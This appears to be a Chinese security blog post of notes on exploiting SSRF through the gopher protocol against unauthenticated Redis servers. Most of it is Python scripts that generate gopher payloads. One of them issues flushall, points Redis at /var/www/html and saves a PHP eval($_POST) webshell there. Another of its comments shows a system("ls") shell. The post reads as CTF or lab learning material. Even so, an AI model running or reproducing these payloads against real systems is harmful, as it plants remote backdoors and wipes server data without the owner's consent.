[web安全] SSRF打Redis未授权 踩坑集
[web安全] SSRF打Redis未授权 踩坑集
Gopher
-
协议格式:URL:gopher://
: / _后接TCP数据流(Redis&Http) 其中 '_' 可以换成其他符号的 -
需要URL编码的也就是 & ? /r/n POST编码一次 GET编码2次
-
POST必要参数:
POST /PATH HTTP/1.1
host:192.168.0.109
Content-Type:application/x-www-form-urlencoded
Content-Length:11
a=1
- 使用限制

Redis 数据包
*1:表示一个数组
$2:表示2个字符
gopher发redis数据包大概长这样
gopher://10.114.177.11:6379/_*1
$8
flushall
*4
$6
config
$3
set
$3
dir
$4
/tmp
超级详细的文章
https://zhuanlan.zhihu.com/p/112055947
https://www.cnblogs.com/zzjdbk/p/12970519.html
脚本
第一个脚本需要注意一下
其他的使用都没问题
'''
优点是可以在redis.cmd自定义Redis命令
但是这里有一个小问题,一定要注意改回来
自定义:
set 'webshell' '<?php system("ls");?>'
save
脚本跑完变成了
$13
<?php system(
$8
ls");?>'
*0
原因是引号
'''
import urllib
HOST = "10.114.177.11"
PORT = "6379"
def ord2hex(string):
return '%'+'%02x' % (ord(string))
exp = "gopher://%s:%s/_" % (HOST, PORT)
for line in open("redis.cmd", "r"):
word = ""
str_flag = False
redis_resps = []
for char in line:
if str_flag == True:
if char == '"' or char == "'":
str_flag = False
if word != "":
redis_resps.append(word)
word = ""
else:
word += char
elif word == "" and (char == '"' or char == "'"):
str_flag = True
else:
if char == " ":
if word != "":
redis_resps.append(word)
word = ""
elif char == "\n":
if word != "":
redis_resps.append(word)
word = ""
else:
word += char
#print redis_resps
tmp_line = '*' + str(len(redis_resps)) + '\r\n'
for word in redis_resps:
tmp_line += '$' + str(len(word)) + '\r\n' + word + '\r\n'
exp += "".join([ord2hex(i) for i in tmp_line])
print(exp)
#很直接
from urllib.parse import *
a = '''GET /hh.php?a=1 HTTP/1.1
Host: 127.0.0.1
'''
a = quote(a)
#print(a)
a=str(a)
print('gopher://127.0.0.1:80/_'+a.replace('%0A','%0d%0A'))
#然后得到的值 拿去url编码
#生成shell
from urllib import parse
#设置一系列变量协议、IP、端口、shell命令、文件以及路径、数据库命令以及payload
protocol="gopher://"
ip="10.114.177.11"
port="6379"
#shell="\n\n<?php system(\"cat /flag\");?>\n\n"eval(\"$_POST['a']\");
shell="\n\n<?php eval(\"$_POST['a']\");?>\n\n"
filename="sbs.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
print(cmd)
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
#将命令格式化输出
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
#编码生成exp
if __name__=="__main__":
for x in cmd:
payload += parse.quote(redis_format(x))
print(payload)
转载请注明原文链接
喜欢的话,留个赞再走吧

浙公网安备 33010602011771号